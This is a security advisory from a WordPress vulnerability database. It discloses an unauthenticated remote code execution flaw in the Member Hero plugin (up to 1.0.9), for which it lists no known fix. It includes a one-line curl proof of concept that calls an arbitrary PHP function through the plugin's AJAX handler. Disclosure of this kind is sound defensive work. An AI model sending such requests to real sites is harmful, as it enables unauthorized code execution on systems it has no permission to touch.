WordPress Plugin Vulnerabilities

Member Hero <= 1.0.9 - Unauthenticated RCE

Description

The plugin lacks authorization checks, and does not validate the a request parameter in an AJAX action, allowing unauthenticated users to call arbitrary PHP functions with no arguments.

Proof of Concept

curl https://example.com/wp-admin/admin-ajax.php?action=memberhero_send_form&_memberhero_hook=phpinfo 

Affects Plugins

No known fix

References

Classification

Type
RCE
OWASP top 10
CWE

Miscellaneous

Original Researcher
Harald Eilertsen
Submitter
Harald Eilertsen
Submitter website
Verified
Yes

Timeline

Publicly Published
2022-05-18 (about 2 years ago)
Added
2022-05-18 (about 2 years ago)
Last Updated
2023-02-08 (about 1 years ago)

Other